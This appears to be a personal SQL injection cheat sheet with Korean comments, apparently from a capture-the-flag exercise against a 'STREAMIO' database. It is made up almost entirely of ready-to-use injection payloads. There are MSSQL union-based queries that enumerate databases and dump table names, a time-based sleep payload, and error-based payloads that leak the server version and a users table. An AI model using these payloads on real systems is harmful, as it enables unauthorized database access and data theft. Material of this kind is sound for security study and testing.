Union Based Injection

# MSSQL
SELECT @@version
 
-- for N = 0, 1, 2, …
SELECT DB_NAME(N);
SELECT DB_NAME(0);
SELECT DB_NAME(1);
 
# 출력결과 ,로 이어서 한줄에 표시
SELECT STRING_AGG(name, ',') FROM master..sysdatabases; 
 
# 예시 (STREAMIO의 모든 테이블 출력)
' union select 1,(SELECT STRING_AGG(table_name, ',') FROM information_schema.tables WHERE table_catalog='STREAMIO'),3,4,5,6;-- -

Reference : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md

admin' AND IF (1=1, sleep(3), 'false') -- -

Time Based

Error Based Injection

' or 1=1 in (select @@version) -- -
' or 1=1 in (select * from users) -- -

Error 로그에서 @@version 결과 확인